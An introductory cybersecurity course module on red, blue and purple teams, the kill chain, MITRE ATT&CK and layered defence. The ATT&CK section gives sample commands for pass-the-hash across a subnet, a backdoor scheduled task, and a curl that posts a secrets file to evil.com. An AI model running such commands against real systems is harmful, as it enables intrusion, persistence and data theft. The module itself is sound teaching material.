MODULE 01 — INTRODUCTION

Red Team vs Blue Team

Two sides of the same coin — attackers probe for weaknesses while defenders build fortresses. Understanding both is the key to true cybersecurity mastery.

What Are "Teams" in Cybersecurity?

Imagine a medieval castle. The Red Team is the group of warriors hired by the king to attack his own castle and find weak points in the walls. The Blue Team is the garrison defending those walls. Neither team is "bad" — both work for the king, and both are essential. The attackers find problems; the defenders fix them.

In modern cybersecurity, organizations hire both offensive and defensive specialists. Red teams simulate what real hackers would do — probing networks, exploiting software bugs, crafting phishing emails. Blue teams build monitoring systems, write firewall rules, and respond when an attack is detected. Together, they create a continuous improvement cycle that makes the organization more secure over time.

This is one of the most important concepts to understand as you enter cybersecurity: offense and defense are two sides of the same coin. The best defenders understand attacker techniques, and the best attackers understand defensive tools.

Key Terms

Vulnerability — A weakness in a system that could be exploited (e.g., unpatched software, weak password).
Exploit — Code or technique that takes advantage of a specific vulnerability to cause harm.
Penetration Testing — An authorized simulated attack to find security weaknesses before real attackers do.
CIA Triad — Confidentiality, Integrity, Availability — the three pillars of information security.

Red Team (Offense)

The Red Team consists of ethical hackers who are paid to break into systems — with explicit permission. Their job is to think and act like a real adversary: find the cracks, exploit them, and document everything so the organization can fix the weaknesses before a criminal finds them.

  • Goal: Simulate real-world attackers to find vulnerabilities before malicious actors do. A successful red team engagement reveals security gaps that might have gone unnoticed for years.
  • Approach: Follow the attack lifecycle — start with reconnaissance (gathering info about the target), move to exploitation (using vulnerabilities to gain access), escalate privileges (going from regular user to admin), and finally demonstrate impact (accessing sensitive data). This mirrors how real attackers operate.
  • Tools: Nmap (network scanning), Metasploit (exploitation framework), Burp Suite (web app testing), Cobalt Strike (adversary simulation), and custom scripts. Red teamers often chain multiple tools together in creative ways.
  • Mindset: "There is always a way in." An attacker doesn't give up after the front door is locked — they check the windows, the back door, and whether someone left their badge on the table. Red teamers think creatively and persistently.
  • Roles: Penetration Tester (tests specific systems), Red Team Operator (full adversary simulation), Exploit Developer (writes custom exploit code), Social Engineer (manipulates humans to bypass security).

Blue Team (Defense)

The Blue Team is the organization's defensive force. They are the guards, the watchers, the builders of walls. Blue team professionals design security architecture, monitor systems 24/7 for signs of intrusion, investigate alerts, and lead the response when an attack is confirmed.

  • Goal: Protect, detect, and respond to attacks. Keep systems secure and operational. The ultimate goal is to make attacks so difficult and costly that adversaries move on to easier targets.
  • Approach: Build defense in depth — multiple layers of security. A firewall blocks malicious traffic, an IDS/IPS detects known attack patterns, a SIEM correlates logs from across the network. If one layer fails, the next catches the threat.
  • Tools: Splunk (log analysis/SIEM), Wireshark (packet capture), Snort/Suricata (intrusion detection), YARA rules (malware signature matching), EDR solutions (endpoint detection and response). These tools generate thousands of alerts daily — analysts must separate real threats from noise.
  • Mindset: "Assume breach." The modern defense mindset accepts that no perimeter is perfect. Instead of only trying to keep attackers out, blue teams also focus on detecting attackers who are already inside and limiting the damage they can do.
  • Roles: SOC Analyst (monitors alerts 24/7, Tiers 1-3), Incident Responder (leads breach investigations), Threat Hunter (proactively searches for hidden threats), Security Engineer (builds and maintains security infrastructure).

Purple Team (Collaboration)

The Purple Team isn't a separate team — it's a collaborative methodology. Red and Blue teams work together in real-time: the Red Team attacks while the Blue Team watches, learns, and improves defenses immediately. This feedback loop accelerates security maturity far beyond what either team achieves alone.

Example: During a purple team exercise, the red team might attempt a phishing attack with a crafted email. Instead of the blue team only finding out in the final report weeks later, they watch the attack unfold in real-time. They see exactly which detection rules fired (or didn't), how the email bypassed the spam filter, and what the malware payload did on the endpoint. They can tune their detections immediately.

Why it matters: In traditional engagements, the red team writes a report and the blue team reads it months later. Critical lessons are lost to time. Purple teaming closes this gap — knowledge transfers instantly, and the organization improves in days, not quarters.

Real-World Scenario: A Red vs Blue Engagement

A financial services company hires a red team for a 2-week engagement. Here's what happens:

  1. Week 1 — Red Team: Conducts OSINT on employees via LinkedIn. Finds the IT admin's email format. Sends a spear-phishing email with a fake Microsoft login page. One employee enters their credentials. Red team uses those creds to VPN into the network, discovers an unpatched server, escalates to Domain Admin.
  2. Week 2 — Report & Remediation: Red team delivers findings. Blue team discovers their email filter didn't flag the phishing domain, the VPN didn't enforce MFA, and the unpatched server was missing 6 months of updates. They fix all three issues within a week.
  3. Result: The company went from "we think we're secure" to "we know exactly where our blind spots are." The cost of the red team engagement: $50K. The cost of a real breach: $4.5 million average (IBM 2024 report).

The Cyber Attack Lifecycle (Kill Chain)

The Cyber Kill Chain, developed by Lockheed Martin, breaks every cyberattack into 7 sequential stages. Understanding each stage helps defenders identify and stop attacks earlier — the earlier you break the chain, the less damage occurs.

01Reconnaissance

The attacker gathers information about the target without directly touching their systems. This includes searching LinkedIn for employee names, scanning public DNS records, reading the company blog for technology clues, and using tools like Shodan to find internet-facing devices. Defense: Limit public information exposure, monitor for company mentions on paste sites.

02Weaponization

The attacker creates a deliverable payload — for example, a malicious Word document with an embedded macro, or a custom exploit for a known vulnerability. They pair an exploit (how to get in) with a payload (what to do once inside). This stage happens entirely on the attacker's side. Defense: Keep systems patched so known exploits don't work.

03Delivery

The weapon is transmitted to the target. The most common delivery method is phishing email (91% of cyberattacks start with email). Other methods include watering hole attacks (compromising a website the target visits), USB drops, or exploiting public-facing web applications. Defense: Email filtering, web proxies, user security training.

04Exploitation

The vulnerability is triggered. The user opens the malicious document, the macro runs, or the web server processes the crafted request. Code execution happens on the target system. This is the moment the attacker transitions from "trying" to "succeeding." Defense: Application whitelisting, disable macros, endpoint protection.

05Installation

The attacker installs persistent access — a backdoor, a web shell, a scheduled task, or a new user account. The goal is to maintain access even if the initial vulnerability is patched. Ransomware deploys at this stage. Defense: EDR monitoring, file integrity monitoring, audit new services/accounts.

06Command & Control (C2)

The compromised system phones home to the attacker's server, establishing a remote control channel. C2 traffic is often disguised as normal HTTPS or DNS traffic to evade detection. The attacker can now issue commands, upload tools, and navigate the network. Defense: Network monitoring for unusual outbound connections, DNS anomaly detection, threat intelligence feeds.

07Actions on Objectives (Exfiltration)

The attacker achieves their goal: stealing sensitive data, encrypting files for ransom, destroying systems, or establishing long-term espionage access. This stage causes the actual damage. By the time you detect it here, the attack was already successful. Defense: DLP (Data Loss Prevention), network segmentation, backup/recovery plans.

Based on the Lockheed Martin Cyber Kill Chain. See also: MITRE ATT&CK for a more granular framework.

Understanding MITRE ATT&CK

The MITRE ATT&CK framework is the industry-standard knowledge base of adversary tactics and techniques, based on real-world observations. Unlike the Kill Chain (which is linear), ATT&CK organizes hundreds of specific techniques into 14 tactical categories. Each technique has a unique ID (like TA0001 for Initial Access).

How it's used: Red teams select techniques from the ATT&CK matrix to plan realistic engagements. Blue teams map their detection coverage against the matrix to find gaps. If your SOC can detect 80% of techniques in TA0003 (Persistence) but only 30% in TA0008 (Lateral Movement), you know where to invest resources.

Think of it as: The Kill Chain tells you the story of an attack (beginning to end). MITRE ATT&CK is the encyclopedia of everything an attacker might do at each stage. Both are essential — they complement each other.

Red Team Techniques (MITRE ATT&CK)

Below are 6 core attack tactics from the MITRE ATT&CK matrix. In a real engagement, a red team operator chains these together — recon leads to initial access, which enables escalation, which enables lateral movement, and so on.

Reconnaissance (TA0043)

Before touching the target, attackers gather intelligence: OSINT from LinkedIn and social media, DNS record enumeration (finding subdomains like dev.target.com), scanning for open ports and running services. Most red team engagements spend 30-50% of their time on recon — the more you know, the more surgical your attack.

nmap -sV -sC -O target.com

This Nmap command detects service versions (-sV), runs default scripts (-sC), and fingerprints the OS (-O).

Initial Access (TA0001)

The first foothold into the target network. The most common method is phishing (91% of attacks start with email). Other methods: exploiting a vulnerable web application, compromising a third-party vendor (supply chain attack), or using stolen credentials from a data breach. The attacker only needs to succeed once — the defender must stop them every time.

msfconsole > use exploit/multi/handler

Metasploit's handler catches incoming connections from payloads delivered via phishing or other vectors.

Privilege Escalation (TA0004)

After gaining initial access (usually as a low-privilege user), the attacker needs admin/root access to do real damage. They look for SUID binaries, misconfigured sudo rules, unpatched kernel vulnerabilities, or stored credentials. On Windows: token impersonation, UAC bypass, or exploiting unquoted service paths. This step turns a minor compromise into total control.

find / -perm -4000 -type f 2>/dev/null

Finds all SUID binaries on a Linux system — any of these could be a privilege escalation vector.

Lateral Movement (TA0008)

Once on one machine, the attacker moves through the network to reach high-value targets (domain controllers, database servers, executive workstations). Techniques include Pass-the-Hash (using a stolen password hash without cracking it), Remote Desktop (RDP), SSH pivoting between servers, and Windows Management Instrumentation (WMI). This is where network segmentation pays off — if the network is flat, one compromised machine means all machines are at risk.

crackmapexec smb 10.0.0.0/24 -u admin -H hash

CrackMapExec attempts Pass-the-Hash authentication across an entire subnet.

Persistence (TA0003)

Attackers don't want to lose access if the system reboots or the initial vulnerability is patched. They establish persistence: registry run keys (Windows auto-starts malware), scheduled tasks/cron jobs, web shells on the server, rootkits that hide deep in the OS, or new user accounts. Sophisticated attackers plant multiple persistence mechanisms as backups — kill one, and another activates.

schtasks /create /sc onlogon /tn "updater" /tr "C:\backdoor.exe"

Creates a Windows scheduled task that runs a backdoor every time a user logs in.

Exfiltration (TA0010)

The attacker's payday — stealing the data. Methods range from simple (zip files uploaded to a cloud drive) to sophisticated (data hidden inside DNS queries, encrypted tunnels through allowed protocols, or steganography — hiding data inside images). Advanced attackers exfiltrate slowly over weeks to avoid triggering data volume alerts. This is where ransomware groups now do "double extortion" — encrypt AND steal data.

curl -X POST -d @secrets.db https://evil.com/drop

A basic HTTP POST exfiltration — real attackers encrypt the data and disguise the destination.

Blue Team Defense Stack

A mature blue team organizes its defenses into three categories. Think of them as a timeline: Prevention (before the attack), Detection (during the attack), and Response (after the attack is discovered). No organization can achieve 100% prevention, which is why detection and response are equally important.

Prevention

Stop attacks before they happen:

  • Firewalls — Network firewalls filter traffic by IP/port; WAFs inspect HTTP content for attacks like SQLi and XSS
  • Endpoint Protection (EDR/AV) — Software on every device that detects and blocks malware, suspicious behavior, and file changes in real-time
  • Patch Management — Regularly applying security updates to close known vulnerabilities. Most breaches exploit flaws with patches already available
  • Network Segmentation — Dividing the network into zones (VLANs) so a compromised system can't freely reach everything
  • Zero Trust Architecture — "Never trust, always verify." Every access request is authenticated and authorized, even from inside the network
  • MFA Enforcement — Requiring a second factor (phone, hardware key) makes stolen passwords useless on their own

Detection

Find attackers who got past prevention:

  • SIEM (Splunk, ELK, QRadar) — Collects logs from every device and correlates events to find attack patterns that individual logs would miss
  • IDS/IPS (Snort, Suricata) — Analyzes network traffic in real-time against known attack signatures and behavioral rules
  • Threat Intelligence Feeds — External data about known malicious IPs, domains, and file hashes, used to block threats proactively
  • YARA / Sigma Rules — Pattern-matching rules for detecting malware (YARA) and suspicious log events (Sigma)
  • Network Traffic Analysis — Monitoring for unusual patterns: large data transfers, connections to rare countries, DNS tunneling
  • Honeypots & Deception — Fake systems designed to lure attackers. If anyone touches the honeypot, it's automatically suspicious

Response

Handle confirmed incidents:

  • Incident Response Plan — A pre-written playbook so the team knows exactly what to do at 3 AM when the SIEM alerts fire
  • Digital Forensics (DFIR) — Analyzing compromised systems to understand how the attacker got in, what they did, and what data was affected
  • Containment & Eradication — Isolating infected systems (pulling from the network), removing malware, resetting compromised credentials
  • SOAR Playbooks — Automated response actions: block an IP across all firewalls, disable a compromised account, isolate an endpoint — all triggered automatically
  • Post-Incident Review — "Lessons learned" meeting: what went wrong, what went right, and how to prevent it next time
  • Communication & Legal — Notifying affected users, regulators (GDPR, HIPAA), and law enforcement as required

Defense in Depth

No single security control is perfect. Defense in Depth layers multiple security measures so that if one fails, others still protect the asset. It's like a medieval castle: even if the outer wall is breached, there's a moat, then an inner wall, then a keep, then armed guards.

Each layer below protects a smaller, more valuable area. An attacker must defeat every layer to reach the data:

Perimeter — Firewall, WAF, DDoS Protection
Network — IDS/IPS, Segmentation, VPN
Host — EDR, AV, OS Hardening
App — Input Validation, Auth
Data — Encryption

Real-world example: An attacker's phishing email bypasses the perimeter (no firewall blocks email content). But EDR on the host detects the malware. Defense in Depth saved the day — one layer failed, the next caught it.

Classify the Activity

Drag each scenario into the correct team bucket. Is it a Red Team (offensive) or Blue Team (defensive) activity?

Red Team (Offense)
Blue Team (Defense)

Flip Cards — Test Your Knowledge

Click each card to reveal the answer.

Knowledge Check

All certification names are referenced for educational purposes only. This project is not affiliated with any certification body.